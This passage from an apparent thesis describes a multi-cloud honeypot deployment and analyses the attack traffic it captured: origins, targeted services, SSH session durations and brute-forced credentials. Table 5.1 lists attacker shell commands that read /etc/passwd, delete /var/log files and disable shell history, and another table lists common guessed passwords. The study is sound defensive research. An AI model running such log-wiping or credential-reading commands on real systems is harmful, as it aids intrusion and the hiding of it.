possible SQL injection point”) and a severity score of the vulnerability. Features that
are also used extensively in this thesis include the classification of the reputation
of IP addresses and the automatic identification of Common Vulnerabilities and
Exposures (CVE) vulnerabilities (see chapter 5).

4.2. Setup and Architecture

In order to overcome limitations and the complex setup of the honeypot network,
virtualized systems on cloud infrastructures are used. For that, three popular cloud
providers are considered: AWS, Microsoft Azure and GCP. The experimental setup
consists of five honeypots and an additional system to collect the generated logs. The
systems run in virtual instances hosted by the different providers and distributed as
shown in Table 4.1.

There are three servers located in the “US east” region of the corresponding provider.
The reason for having different servers by different providers in the same region is to
be able to properly compare the analysis results between them. The other two are
based in India and Europe, as a measure of how other continents are affected by the
attacks, compared to the US region. In addition to that, the honeypots send their
log data to a separate server, called Data Collector. This machine has two purposes:
It receives live data about the connections and visualizes them, but it also connects
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Server name Provider Region identifier Actual region
aws-us Amazon us-east-2 US East (Ohio)

aws-mumbai Amazon ap-south-1 Asia Pacific (Mumbai)
azure-us Microsoft East US 2 Virginia
azure-eu Microsoft North Europe Unknown
gcp-us Google us-east1-b South Carolina

Table 4.1.: Overview of selected regions of the honeypot systems

to every honeypot and retrieves the raw log files on a daily basis. Since the honeypot
systems only have limited storage space, the Data Collector acts as the main data
storage.

Figure 4.1 depicts the architecture of the honeypot network. The following sections
will describe how the systems are deployed and how the required software is configured
on the machines.

Figure 4.1.: Architecture of the honey network

26



CHAPTER 4. DATA COLLECTION

4.2.1. Deployment

Every honeypot runs a standard Linux server with Ubuntu Server 16.04 LTS, which
is the recommended OS for running T-Pot. After establishing SSH connectivity and
resources on the VM instances, the installation of T-Pot is performed automatically
by an auto-installer script2, which is modified to run without user interaction on the
server. This procedure is the same for all the honeypot machines.

To collect and dissect the log files, T-Pot uses Logstash, a log-parsing software. The
log files generated by the honeypots are parsed and the relevant parts are extracted.
The result is then sent to the Data Collector, which runs on Ubuntu 18.04 LTS and
has a storage of 500 GB.

The Collector receives log data in JavaScript Object Notation (JSON) format, which
is then used to update the database. The contained information depends on the type
of honeypot that collected the log.

4.2.2. Logging and Database

In order to collect, merge and analyze the logs, Elasticsearch, an open-source search
engine, is used (Elastic 2018a). Elasticsearch also includes a document datastore,
similar to a NoSQL database. Through the Query Domain Specific Language (DSL),
a language based on JSON, it allows to formulate and execute search queries on the
databases, comparable with SQL for relational databases. In the experiment, the
software runs on the Data Collector and is used to efficiently store and search the
collected logs.

Combined with Logstash, it makes the collection and storage of log files fast and
easy to implement. The software, created by the same vendor, takes the log files
from different sources and converts them to the JSON format (Elastic 2018c). The
output can be written to a file, to a console output, or sent to an Elasticsearch server.
Data logs are processed in real-time, since the configured log files are continuously
monitored.

A third software is included into the Elasticsearch product line. Kibana is an analytics
and data visualization software, which directly operates on Elasticsearch services
(Elastic 2018b). It runs as a separate service and can be connected to a local or

2https://github.com/dtag-dev-sec/t-pot-autoinstall
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remote Elasticsearch instance. Through a web-based user interface, it offers direct
access to the database and allows to run queries based on selected fields. For the
analysis phase of the experiment, Kibana is deployed on the Data Collector in order
to make queries to the database. Therefore, using the Query DSL is not required
unless complex data aggregations are performed. Finally, the software offers a number
of available data visualizations which can be created with only a few clicks, saving
the trouble of creating separate data plots.

4.2.3. Network Con�guration

To be able to reach the honeypots from the outside, the network interfaces and
the firewalls need to be configured. Every cloud provider offers an approach to
configure different security policies, from source IPs for incoming connections to port
settings. The honeypots are configured to accept any request on any port, since any
filtering of traffic is unwanted. Also, since Cowrie requires port 22 for analyzing SSH
connections, T-Pot changes the actual SSH port to 64295.

The Data Collector uses a whitelist approach. Only the honeypots are allowed to
connect to it, such that no attacker can access or manipulate the collected logs.

4.3. Services

Since only a limited number of honeypots are deployed, the collection focuses on
specific threats and attacks. The characteristics of these attacks are unique to the
services and protocols. The following sections provide an overview over the typical
log entries for every service.

4.3.1. Remote Login

Using SSH, attackers often try to learn any username and password combination
that allows them to access the system. While the username part of a valid user is
relatively easy to guess, as most Linux-based systems use root for the administrator
account, the password needs to be brute-forced. Therefore, Cowrie logs any login
attempt. In addition to that, it has a mechanism that allows an attacker to “breach”
the system after 2-5 attempts, such that the attacker believes that the login was
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successful (see Listing A.1). This apparently successful login attempt is cached for a
configurable interval, such that an attacker can also login with the same credentials
if the IP address changes. Once a user is logged in, a new session is created. During
this session, any commands and the corresponding outputs are saved to a log file.

4.3.2. Web Application

The Open Web Application Security Project (OWASP)3 is an organization that
analyzes web applications and publishes an annual list of the most critical security
risks in web applications. Web applications can be vulnerable to a number of attacks.
With Glastopf, various popular attacks can be detected, including RFI, LFI, SQL
injection and Cross-Site-Scripting (XSS).

The OWASP list also includes less technical vulnerabilities, such as “Sensitive Data
Exposure”, “Broken Access Control” and “Security Misconfigurations”. These vulnera-
bilities denote the wrong configuration of permissions on sensitive files or restrictions
on unauthorized users that are not correctly enforced. Also, administrators may do
mistakes in the configuration of the system, exposing services and increasing the
attack surface.

The Glastopf logs contain the raw HTTP requests of the attackers, which reveal the
target URL, the HTTP method and any suspicious attempts at command injection
(see Listing A.2). This even works with encrypted TLS requests, as the honeypot
provides a (self-signed) certificate.

4.3.3. Malware

Through the use of protocols like FTP or SMB, attackers attempt to deploy malware
onto the honeypot systems. Also, attackers make use of different database features
to deploy malicious code into a database and execute it, bypassing any antivirus
measures.

With Dionaea, both threats can be analyzed. The software collects any executable
file which is deployed on the honeypot and saves it in a separated database, ready
to be analyzed. In addition to that, any SQL commands sent to the honeypot are
logged, such that the command execution techniques described above can also be

3https://www.owasp.org
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detected. The honeypot is also able to connect automatically to the VirusTotal
service, if a valid user account exists. In this case, any executable is sent to the
service for analysis, and the scan results are returned and saved in the database.
Since the goal of the experiment is to analyze how the malware is deployed and not
the actual contents of the executables, this feature is not used during the experiment.
Still, the malware samples are collected and saved, such that they can be analyzed
in a future work.

4.3.4. Unknown Threats

Most of the honeypot solutions in this experiment are limited by the specific purpose
they are given, namely providing a simulated environment for a limited number
of services. Therefore, they only cover known threats and do not implement any
logic for unexpected input, such as new vulnerabilities or unusual data encodings.
However, Honeytrap can catch outliers and unknown threats, such that analysis of
these accesses is still possible.

This works because any access to an unmonitored port is logged by Honeytrap.
The connection event is saved together with any occurring metadata, such as the
destination port. The specific data transmitted to the honeypot, the payload of the
request, is also saved. Since a hash is calculated for every payload, the same attack
can be easily identified across different connection attempts.
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Analysis

The data collected through the methods described in chapter 4 needs to be searched
and analyzed to achieve the goals stated at the beginning of the experiment: Learning
the methods and patterns of attackers. Only by understanding how current attacks
work and how they are related to each other, it is possible to detect new threats and
improve the current state of detection.

In the first part of this chapter, different approaches to extract information from
the dataset are discussed. The second part contains the results of these methods,
first compiling different statistics and then comparing the different honeypots. The
sections are divided into the following four categories:

• Traffic – Analysis of connections and request on the network layer

• Targets – Show which services and protocols are targeted

• SSH – Focus on terminal sessions and commands

• Suricata IDS – Additional information that is not captured by honeypots

Furthermore, this chapter describes an in-depth examination of attack sessions,
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patterns and attacker behaviour, discussing the results.

5.1. Methods

Before getting to the analysis of the collected dataset, it is important to get to know
the most promising methods to extract data out of it. There are two strategies that
are used in this thesis:

• The first is to operate directly on the Elasticsearch database, which allows
to search and filter for specific keywords, data types and time ranges. The
database was created during the experiment, by continuously sending data from
the honeypots to the Data Collector server. Therefore, the database already
contains the generated logs and can be searched and queried easily. Also,
by using Kibana, it is possible to create graphs, which is useful to visualize
complex data aggregations.

• The second method consists of manual analysis based on academic approaches of
extracting information about the attacker. By looking at the actions performed
before, during and after an attack, paired with fingerprinting data such as
geolocation, used software and temporal information, it is possible to learn
about the motivations and resources of an attack.

5.1.1. Data Aggregation

The collected data consists of single log files in structured (JSON, SQLite) or
unstructured (text) data formats. While structured data can be easily processed
by most programs, raw text files do not adhere to a standard format and therefore
either need to be analyzed manually or they need to be transformed into a structured
format. During the experiment, the honeypots pursued both approaches, saving the
raw log files, created by the honeypot softwares, and simultaneously processing the
data. The communication between servers is shown in Figure 5.1.

The data transformation was achieved through Logstash. The tool uses a configu-
ration file to define inputs – the specific log files – and any additional conversions
that need to be done (refer to Listing A.4 for a minimal example). Through this
configuration, the user can specify that all timestamps are converted to a selected
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Figure 5.1.: Architecture with Elasticsearch, Logstash and Kibana interaction

format or additional fields are added to the log entry. As an example, whenever
Logstash finds a source IP in a log file, it matches the IP with the provided GeoIP
database to add country information to the output. The output is then sent to the
Elasticsearch instance, which in this case runs on the Data Collector.

The Data Collector listens on port 9200 for requests and adds any input to the
Elasticsearch database. By storing the results in a database, it is easily searchable
and fast data queries are possible. The downside is that some logs, such as binary
formats and malware samples, were excluded from the database, as they could not
be automatically converted by Logstash.

Once everything is set up as described, the objective is to extract statistics from the
dataset, including but not limited to:

• Most used login credentials

• Number of total attacks (in a selected time range)

• The origin countries of attacks, including geo-ip information

• Temporal correlations, such as hourly distributions of attacks

With queries to the database (see Listing A.3 for an example), the Elasticsearch
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instance performs the necessary aggregations and returns a result object in a JSON
response. The relevant pieces of information need to be extracted and can then be
processed further. The results of such a query are shown in Listing 5.1.

"Operating System",Count
"Windows 7 or 8",6258485
"Linux 3.11 and newer",6192227
"???",6173625
"Windows XP",1352079
"Linux 2.2.x-3.x",913210
"Linux 3.1-3.10",298717
"Windows NT kernel",105032
"Linux 2.4.x",55368
"Linux 2.6.x",49514
"Linux 2.2.x-3.x (no timestamps)",30656

Listing 5.1: Elasticsearch result of the top OS versions detected by p0f

The visualization of results is done by Kibana and the user only needs to specify
the desired graph type and the timeframe. As a consequence, Kibana automatically
calculates all parameters and draws the graph.

5.1.2. Attacker Pro�ling

One of the goals of this thesis is to create a profile of attackers, in order to:

• identify targets and motives of an attack

• detect future attacks by the same author

• learn more about an attacker’s resources

Before any profiling takes place, it is especially interesting to know if an attack is
automated – performed by a program or a zombie device as part of a botnet – or if
a human is performing it. Automated attacks are often easier to block, as they try
to attack multiple targets with the same method, while a dedicated human attacker
might try to find a vulnerability on a limited number of systems using a variety of
methods.

For the analysis, the focus is on two essential tasks: identifying the attack type
(automated or manual) and extracting common attack patterns used during this
type of attack. As there is no way to confirm or deny any assumptions made during
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analysis, it is not possible to accurately assign any of the attacker descriptions from
section 3.3 to a single attacker. But it is still possible to identify and categorize
intruders relying on specific actions that are performed during an attack.

The following section will present two methods based on academic research using
honeypot data. Through the combination of these techniques, an own method is
derived. By applying it to the collected dataset, a more precise identification of
attackers is achieved.

Related Research

The first approach by Ramsbrock, Berthier, and Cukier (2007) explores the performed
actions after violating a system. More specifically, an attacker’s actions are grouped
into different categories, for example “checks software configuration”, “install a
program” or “change the password”. Later, a chain of these actions is created,
resulting in flow diagrams that are unique to an attacker and can be compared to
each other. The data is collected by logging the commands entered during a regular
SSH session. The paper directly links Linux commands to a specific category, e.g. mv,
rm and cp are attributed to “Install” operations. This is reasonable for automated
analysis of the data, but creates a number of false-positives since some entered
commands contain multiple different operations and need to be analyzed manually
to learn the intention and effect. This is a major shortcoming of this method and
might not provide correct results if applied to the dataset of this thesis.

The second approach is similar, as it also collects SSH logs and analyzes attacker-
specific actions such as file access and downloaded software. But it is only a part
of the method described by Salles-Loustau et al. (2011). In their work, the authors
differentiate between the attackers’ actions and their skill level. The skill is determined
by ten actions which are assumed to be performed by skilled attackers. For example,
deleting or disabling log files to hide the traces of an intrusion is attributed to a
higher skill level. The work also links every category to an assumed intention of
the attacker, e.g. an attacker who manipulates log files is “careful about not being
seen”. Besides specific actions and skill levels, keystroke profiles are used as a third
indicator. For this, a key logger logs any character entered by an attacker with a
timestamp.
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Combining Methods

The base information – the single commands an attacker entered – is collected by
Cowrie, which logs them during a simulated SSH session. With the goal to identify
and categorize the interactions with the honeypot, the above academic methods are
combined into an own model. This model should overcome the limitations of the
previous approaches and offer a better insight into the actions of an attacker. The
combination of both methods resulted in a new categorization of actions, namely
into the following four major categories:

1. Check – Information Gathering and Exploring. Check the system and identify
versions, users, and file system. It is assumed that one of the first steps of an
attacker is to analyze the current environment. Doing this, the attack strategy
can be adapted and an appropriate way to exploit the system is selected. This
step involves learning about the system’s software and hardware, its users,
processes, and the files the attacker is allowed to view and modify.

2. Persist – Secure the access to the system. This step involves increasing the
foothold into the system, creating (privileged) users and/or changing passwords
to be able to access the system even after disconnecting. It does not involve
any created backdoors.

3. Exploit – Take over the machine or its resources. This is the main goal of an
attack, therefore it includes various methods to achieve it. The actions during
this step correspond to the attacker’s objectives (see section 3.3).

4. Cleanup – Cover traces and remove evidence of an intrusion. Often attackers
try to eliminate traces of the compromise by manipulating or deleting log files.
Deactivation of terminal logging features also falls under this category.

The analysis and classification of command inputs is done by tokenizing and detecting
single keywords, composed by real bash commands as found on Linux systems. The
mapping between category and commands was created by manually going through
the list of all commands and looking for patterns. An example of commands for
every category is given in Table 5.1, while the complete list is shown in Listing A.5.

In addition to the categories above, a few edge cases were encountered that can not
be clearly assigned to any category. Some of these were commands that hint at a
human attacker, as opposed to an automated attack. In general, these are commands
that have an effect on the display of the terminal and it is unlikely that any script

36



CHAPTER 5. ANALYSIS

Check

cat /etc/os-release
cat /etc/passwd
lscpu
top
uname
w

Persist passwd
useradd

Exploit

apt install
bash -c
cat \w* >
curl
sudo

Cleanup

export HISTFILESIZE=0
history
rm /var/log/*
unset HISTFILE

Table 5.1.: Example commands found for every category

makes use of them. By extracting the information from Cowrie if a command was
successful, some commands were found that indicate errors made while typing the
command. The following list shows some examples of the described commands:

• clear is used to clear the output screen, which is not used or needed unless a
real terminal is used.

• exit is used to exit the interactive terminal session. The assumption is that a
program would just disconnect and therefore such a command is only used by
human attackers.

• man opens the manual page for any command. It is also very unlikely that any
script needs to access this.

• cd.. seems to be a typing mistake which could be only caused by a human
operator.

Finally, there is a small number of commands that have no clear intention and are
ignored during the analysis. Example are sleep and reboot, which appear once in
the list of commands, possibly as part of a copy-pasted script, but are not considered
for the classification.

Since Cowrie only saves the timestamp of confirmed user inputs and not individual
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keystrokes, it can not be reliably determined if an input was made by a human
attacker or by a software. Therefore, other indicators such as suspicious commands
or individual input patterns are analyzed.

5.2. Findings

The experiment was conducted between June 21, 2018 and August 23, 2018 and
176,158,872 individual log entries were collected. These involve about 268,614 unique
origin IPs. In the following, statistics from different honeypot services are reported,
grouped into four main categories: traffic, targets, SSH and IDS.

5.2.1. Statistics

The results were compiled from the dataset through the Kibana interface, which
enables to aggregate data over different fields of the whole database. The goal is
to find answers to specific research questions, such as origin, target and method of
attacks.

Traf�c

T-Pot uses the MaxMind GeoLite21 database to map IP addresses to geolocations.
While this free database is not as accurate as the paid version, the analysis relies on
the country information rather than the given coordinates and is therefore precise
enough for this use case. The distribution of the top 10 countries is shown in Table 5.2
and shows that most traffic originates from the USA and China, with Russia right
behind them (see also Figure B.2 for a world map visual). Overall, traffic originated
from 216 different countries.

Upon closer inspection of the source IPs, there are a number of addresses that appear
more often that others. As one can see in Table 5.3, the top IP is from China and
accounts for nearly half of the Chinese requests. This can also be observed with
other countries, such as Seychelles, Hong Kong, the Netherlands and Canada, where
a single IP makes over 50 % of requests.

1https://dev.maxmind.com/geoip/geoip2/geolite2/
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Country name Number of connections Percentage
of total

China 26,342,814 25.83 %
United States 25,713,416 25.21 %

Russia 14,793,086 14.50 %
Seychelles 5,881,405 5.77 %
Netherlands 4,603,325 4.51 %
Hong Kong 3,770,987 3.70 %
Canada 3,007,309 2.95 %
Vietnam 1,809,847 1.77 %
France 1,515,002 1.49 %

Germany 1,426,856 1.40 %
Total (top 10) 88,864,047 87.12 %

Total 101,994,243 100.00 %

Table 5.2.: Top 10 originating countries

Source IP Connections
Share of

connections
within country

Country

58.218.XXX.XXX 12,776,944 48.5 % China
80.82.XXX.XXX 5,340,285 90.8 % Seychelles
23.247.XXX.XXX 4,170,555 16.2 % United States
168.63.XXX.XXX 3,512,523 93.1 % Hong Kong
157.52.XXX.XXX 3,336,038 13.0 % United States
46.166.XXX.XXX 2,306,994 50.1 % Netherlands
221.229.XXX.XXX 2,155,551 8.2 % China
149.56.XXX.XXX 1,947,536 64.8 % Canada
221.229.XXX.XXX 1,451,625 5.5 % China
195.19.XXX.XXX 1,317,824 8.9 % Russia

Table 5.3.: Top 10 IPs with most connections
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Through the fingerprinting software p0f, it is possible to extract information about
the used operating system of clients connecting to the honeypot systems. While
not every connection could be analyzed, the discovered systems seem to use newer
operating systems, such as Windows 8 and “Linux 3.11 and newer” (see Table B.1).
Still, the results are not representative as there is a large portion of the connections
that could not be identified.

In addition to the incoming traffic information, attackers often deploy malware
or enter commands that make outgoing connections to different external services.
By analyzing all outgoing requests over all deployed honeypots, a list of 20 major
destinations could be compiled into Table B.2. From what can be accessed through
a browser, it appears that most connections were done to test firewall rules by
accessing popular services like Google or Yandex. Other requests are destinated at
IP lookup services like ipify.org and whatismyipaddress.com, which allow to identify
the IP address and the geolocation of the honeypot. Theoretically, these findings
could indicate measures to detect emulated or restricted features of the compromised
system. On the other side, they could be connections made as part of a DDoS attack
against the services. Unfortunately, the low number of occurrences does not allow
for a reliable interpretation of the dataset.

Targets

Every connection to the honeypots has a specific motivation and target. While the
details of targeted services on the honeypots are discussed in subsection 5.2.2, the
experimental setup provides usage data about malware and database accesses.

A significant number of SSH attacks focuses on deploying suspicious scripts and
binaries to execute. This is an automatable and therefore popular method to exploit
a system. On the other side, Cowrie is able to detect when a file is created and saves
the file together with its SHA-256 sum and its source, be it an URL or the result of
a command. Since malware is not in the focus of this thesis, the following analysis
will not go into details.

The most deployed file samples were analyzed through a quick lookup on the Virus-
Total service. By sending the malware hashes to it, the service responds with a
compiled report on the sample, provided that the sample is already known. The
results are shown in Table B.3, where hashes of the samples are listed together
with its origin and the results of the scans. It can be observed how the majority of
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samples are easily detectable by antivirus solutions. Also, most samples are acquired
directly from the standard input, meaning that the files are “pasted” into the terminal
session, as opposed to downloading it from an URL using wget or similar tools. This
is obviously a more robust method for automated scripts, as they do not require
external access to the Internet or any preinstalled software to deploy files on the
compromised system. Also, most IDS can not detect such techniques, as SSH sessions
are end-to-end encrypted.

Another popular target for malware attacks are databases and FTP services. These
services are provided by Dionaea, which emulates different protocols. The majority
of connections to it were made using the Session Initiation Protocol (SIP), which is
used for initiating real-time multimedia sessions (see Table 5.4). Its most popular
use case are Voice over IP (VoIP) services, which is used for telephony and video
chat over the IP network. Further, different databases are found in the list of target
services, such as MSSQL, MySQL and MongoDB. The requests are decoded into
SQL queries and saved into a separate SQLite database. In general, the attacks use
code execution techniques in order to deploy and execute malware on the underlying
system. More work and time is needed to extensively analyze the requests, which
was unfeasible for this thesis.

Protocol Count
SipSession 286,261

SipCall 266,112

mssqld 34,932

mysqld 31,015

smbd 11,918

RtpUdpStream 1832

mongod 1504

pptpd 644

mqttd 228

httpd 94

Table 5.4.: Top 10 of most targeted Dionaea services

The table shows a third protocol that has been relevant since 2017 in information
security. It is the SMB protocol, which was exploited for years by the NSA (Nakashima
and Timberg 2017). The same exploit later became responsible for millions of infected
devices through the WannaCry malware. While there is no deeper analysis of the

41



5.2. FINDINGS

malware collected through SMB, manual analysis of some samples revealed different
versions of Trojan.Ransom.WannaCryptor, which was detected as such by most
antivirus engines offered through VirusTotal.

The last target to be considered is the SMTP service provided by the Mailoney
honeypot. Although the distribution of attacks was unusual, limited to a single
honeypot (azure-eu) getting over 99 % of requests, the honeypots received a total of
5777 mails. These mails each contained a number of email addresses as recipients,
and the body of the mails mostly contained regular HTML or text content.

SSH

Next, the focus is on SSH statistics, which include the most relevant interactions
for behavioral and attack pattern analysis. Cowrie accepted a total of 463,113 SSH
and 384,019 Telnet connections. It is worth to look at used credentials, as access
is often protected by simple password authentication. As most password-protected
systems, SSH authentication is vulnerable to brute-force or dictionary attacks,
therefore password authentication is often disabled and replaced with public-key
authentication, which is definitely harder to break. Still, misconfigurations or sheer
negligence of administrators can lead to easily cracked logins, which is what Cowrie
simulates.

Table 5.5 shows the top 10 usernames used during attacks. They represent expected
usernames, since only users with an account on the system are usually allowed to
login. Some usernames, such as root, Administrator or admin are the most common
ones for fully privileged accounts on Linux and Windows systems, respectively. The
right part of the table shows the passwords used during the login procedure. As one
can see from the numbers, there are more distinct passwords than usernames, as
passwords can be totally random and unique, while usernames are often chosen to
be more memorable and a lot of systems share the same usernames. Another aspect
is shown for usernames and passwords that contain zero-bytes, represented by \0

in the table. Credentials with such binary contents could be used to test or exploit
specific services that do not expect binary input, making the service crash or behave
wrongly. But it could be also explained by a potential bug in the logging feature of
the honeypot. It is notable how most attempts at guessing passwords try to omit
the password. This could be intentional or an accidental reaction of clients to the
failure of password attempts.
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Username Count Password Count
root 2,786,944 (empty) 344,588

admin 657,464 system\0 260,939

enable\0 259,427 sh\0 201,674

shell\0 259,314 admin 106,217

(empty) 149,456 1234 104,116

default 59,691 password 75,733

guest 55,014 123456 73,568

user 50,335 12345 60,612

Administrator 39,282 SH\0 52,131

support 32,429 user 42,493

Table 5.5.: Top usernames and passwords attempted during SSH attacks

Once the authentication process is passed, attackers usually connect with their
successful credentials to access the system through an interactive terminal session.
There, commands can be executed, and by logging these commands, one can gain
more insights on how attackers operate. Table B.4 shows the most used commands
during an SSH session.

Some of the commands on top of the list are used to gather information about
the system: the currently running processes, CPU and RAM information and disk
usage. In addition to that, instructions to manipulate the bash history are used. The
subsequent inputs seem to be part of an automated attack. The cat > command is
used to write from standard input directly into a (temporary) file. After creating
the file, which is assumed to contain either binary code or an executable script, the
attempt is made to execute it directly. This attempt fails because Cowrie checks file
permissions and throws an error if a non-executable file is executed, just like a regular
Linux system. Since these commands appear with similar number of occurrences, it
is reasonable to assume that they belong together and are probably repeated over
multiple sessions. In general, attacks focus on the Check and Cleanup categories,
as defined in section 5.1.2, thus operations to get information about the system
and ways to disable or delete traces of an intrusion. In section 5.3, a more detailed
analysis shows how these commands are connected to each other.

Another aspect that was looked into is the timings of SSH sessions. A session as
defined by Cowrie starts with the first connection request to the server and ends
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when the client disconnects from the server. If during a session the client successfully
logs into the service, a terminal session is created, where the user is able to enter
commands. Figure 5.2 shows the duration of both types of sessions in comparison.
The duration of full sessions ranges primarily between 0 and 30 seconds. This
includes different attempts at password guessing, or failed attempts that are aborted
quickly. Between 30 and 60 seconds, there is a significant increase in terminal
sessions. Therefore, sessions that last this long have a greater chance at using the
hacked credentials to login and execute commands. Also, a longer terminal session
duration might be an indicator that users manually enter commands, while shorter
SSH sessions may indicate automated hacking attempts. The reason for this is that,
once a user/password combination is accepted by Cowrie, further password guessing
attempts always fail, therefore extending the duration of a brute-force attack. Thus,
the majority of attacks, with or without post-exploitation actions, take less than a
minute.

Figure 5.2.: Average duration of full SSH sessions (green) compared to terminal sessions
(blue)

Finally, well-secured SSH services use strong credentials or public-key authentication.
An additional measure that is often suggested is to change the default port for the
SSH server. Of course this suggestion, often considered an anti-pattern in information
security, does not protect against any attackers. Still, the results show that it is a
valid additional protection measure against automated scans and attacks. Apart from
port 22, the standard port, other ports have been targeted by SSH clients during the
experiment. These connections have been captured by Honeytrap, which encodes
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any payload to unknown ports to an identifiable and searchable hexadecimal string.
SSH clients send version identifiers during connection, an example being SSH-2.0-

OpenSSH_7.2p2 Ubuntu-4ubuntu2.4. By searching for 53 53 48 2d in the captured
payloads, which translates to the string SSH-, it was possible to specifically find all
SSH connections to alternative ports. Figure 5.3 shows the results of this search,
highlighting how changing the port drastically reduces the traffic to the SSH service.

Figure 5.3.: Port numbers which received SSH connection requests

Intrusion Detection

The T-Pot honeypot package includes Suricata as a NIDS, which analyzes the traffic
for suspicious activities and known attacks. Its features include the assignment of an
IP reputation to the IPs under analysis. Specifically, the tool compares the IP of an
event with known lists of suspicious and well-known offenders. This list is compiled
through different publicly available sources: blacklists, malware domain lists, ad
blockers, Tor address lists and more2. Note that while the sources are manifold, the
IPs may include biases that skew the results, therefore it is important to take this
into account when interpreting the data.

2https://github.com/dtag-dev-sec/listbot/
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Table 5.6 shows an overview over the resulting attributions for specific events during
the experiment. The results reveal a major problem with this approach, as only
about 10.2 % of IP addresses were identified through the above IP lists. Thus, while
the feature might help deflect some known attackers, the majority of attacks are
unaffected by this protection measure.

IP reputation Unique
IPs

IP reputation Unique
IPs

known attacker 21,919 bot, crawler 20

bad reputation 3499 bitcoin node 18

malware 990 form spammer 13

mass scanner 525 compromised 3

anonymizer 254 C&C server 2

tor exit node 114 ransomware 2
spam 76 Total 27,435

Table 5.6.: IP reputation of all connected IP addresses assigned by Suricata

A similar feature of Suricata includes the mapping of events to CVE IDs. There-
fore, the dataset contains information about specific known vulnerabilities for selected
events (see Table B.5). The most exploited vulnerability, with over 101,022 occurrences
in the collected data, is CVE-2001-0540, a vulnerability in RDP that can be exploited
for DoS attacks3. This information might be useful to understand the goals of an
attacker (e.g. DoS, data theft) as well as the source of the attack, as a vulnerability
could be exploited only by a specific malware. Unfortunately, the amount of samples
found in the dataset is not significant enough to make a valid statement.

5.2.2. Honeypot Comparison

One of the goals of this thesis is to analyze cloud security by using systems from
different providers located in different regions. Therefore, cloud instances were
selected that may show regional effects, as well as give insights on how different
providers are targeted by attacks. The available honeypots are divided into different
groups in order to have different views of the same results.

The first is the regional view, where systems are grouped into three distinct regions
of the world: Europe, North America and India. While Europe and India both

3https://cve.mitre.org/cgi-bin/cvename.cgi?name=2001-0540
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have only a single server that collects data, the results from the US servers are
aggregated into mean values. The second view compares only the US servers, each
from a different cloud provider, which were placed in nearby locations in the East of
the USA, specifically in the states of Ohio, Virginia and North Carolina. Under the
assumption that regional differences are minimal, the results reveal some significant
differences between GCP, AWS and Azure.

In summary, this section focuses on differences between honeypots, considering the
same factors as in subsection 5.2.1: traffic, targets, SSH and IDS.

Traf�c

Regarding general traffic data directed towards the honeypots, there are some regional
differences. As Table B.6 shows, the EU server is targeted least, while the US servers
are the most attacked servers, on a percentage basis. Since all providers are US-based,
it is plausible that the US regions are more popular compared to the rather new EU
and Asia regions.

By looking at the individual countries, China and the US stand out as the countries
with most committed cyber-attacks. Still, the US servers are targeted rather often
by Chinese IPs, while India is targeted more by the US. For Europe, both China
and the US share a similar amount of launched attacks.

Looking at the different providers, the numbers change significantly. Table B.7 shows
how China is the top attacker both for GCP and Azure, with only a smaller fraction
of the attacks coming from the US. With AWS the difference settles again, possibly
explainable by a greater popularity of Amazon services in the world. In absolute
numbers, the Azure server was attacked less often than its contenders, while GCP
was targeted most, especially by China and the Netherlands.

Targets

The honeypots expose the same services on every machine. Also, the machines are
set up with the same configurations, such that only the IP differs. That is why it
can be assumed that behaviors and targets are similar on all machines.

A first overview (Figure 5.4) shows how VNC is one of the most targeted protocols
on every system, even taking over 75 % of traffic on GCP and AWS. In general, not
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every port is equally used by an attacker, focusing on the standard ports for SSH,
HTTP or SMTP. Still, the data highlights how non-standard ports are also targeted,
such as port 8545 and port 5038, that are unassigned or application-specific.

Figure 5.4.: Comparison of most targeted ports for every honeypot

When looking at the various providers, the difference between the targeted honeypots
is more apparent. Figure 5.5 shows how VNC attacks dominate the GCP server,
while the others reveal a significant share of SSH and Telnet attacks.

Figure 5.5.: Comparison of targeted services by cloud provider

Regarding regional differences in targeted services (Figure 5.6), the EU has over 50 %
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of attacks going towards Cowrie and around 13 % of connections to Mailoney. By
comparison, India and the US have higher shares of VNC activity, which is consistent
with the above charts.

Figure 5.6.: Comparison of targeted services by region

In summary, exposed VNC services attract the majority of attackers overall. In
addition to that, the EU seems to be the preferred target for SSH attacks. Therefore,
some regional differences can be observed, even though the reasons for them are
unknown.

SSH

For the honeypot comparison, it is important to look at Cowrie and the SSH service,
as it is one of the most targeted interfaces in the experiment. As before, the focus is
on full SSH session durations, from the first request to client disconnection, including
any terminal sessions on the simulated environment.

There are only marginal differences in durations in the three regions (see Figure B.1),
which have around 60 % of sessions terminating within 30 seconds, over 30 %
of connections lasting for up to a minute, and the rest exceeding that limit. The
differences between cloud providers are more significant (Figure 5.7). While AWS and
Azure share similarities in durations, GCP stands out, as the majority of connections
(61.3 %) exceeds the limit of 30 seconds. This disparity in the data could be due to
higher latency as a consequence of high network load. But, comparing the chart to
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Figure 5.2 (the overall duration of Cowrie sessions), the difference may also come
from an elevated number of terminal sessions, as these tend to be longer, especially
if commands are entered manually.

Figure 5.7.: Comparison of SSH durations by cloud provider

Intrusion Detection

The Suricata IDS has collected information about the IP reputation of clients
connected to the honeypots. Based on the results, it is possible to spot some
differences between the different regions. As said before, the IP lists used as sources
may contain biases towards certain regions, therefore the results in this section are
presented without any attempt to interpret them.

Looking at Figure 5.8, the regional differences seem to be relatively small, with
“known attackers” achieving around 80 to 90 percent of requests. The only outlier is
India, which detected an elevated number of “bad reputation” IPs.

The cloud provider chart (Figure 5.9) shows a different statistic, highlighting GCP as
the server which was (with over 97.78 %) exclusively targeted by known attackers.

A conclusion might be that, by using known blacklists and IP reputation databases,
one could radically reduce attacks by IPs known to be used for suspicious activities.
This is certainly a feature that most IDS implement anyway.
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Figure 5.8.: Comparison of IP reputation by region

Figure 5.9.: Comparison of IP reputation by cloud provider
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5.3. In-depth Examination

The intention of the following sections is to focus on single aspects that require an
in-depth statistical analysis. To achieve the goal to extract and learn about attack
patterns in cloud computing attacks, it is necessary to evaluate how the individuals
behind an attack operate.

The first sections compare terminal sessions and commands executed after a successful
compromise of the SSH service. The results are compared with the results of existing
research papers and comparable studies. After, the attacks are evaluated using
the timestamps of the attacks, resulting in an hourly distribution of attacks per
country. While not in the focus of this thesis, the malware samples collected during
the experiment are identified. In the end, the presence or absence of anti-honeypot
techniques is discussed.

5.3.1. Sessions

By analyzing all connections, it is possible to get a detailed summary of how attacks
take place. Furthermore, post-compromise actions, therefore actions performed when
an attacker gains control of a machine, can be analyzed through the commands
entered during the interactive terminal session.

Fraunholz et al. (2017) define an attack as a tuple of source IP, target IP and a
protocol. A session is a “temporal distribution” of one or multiple attacks, whereas a
pattern is a unique session. Going by these definitions, one has to define a timespan
in which attacks are grouped to a session, given the same attack parameters. Typical
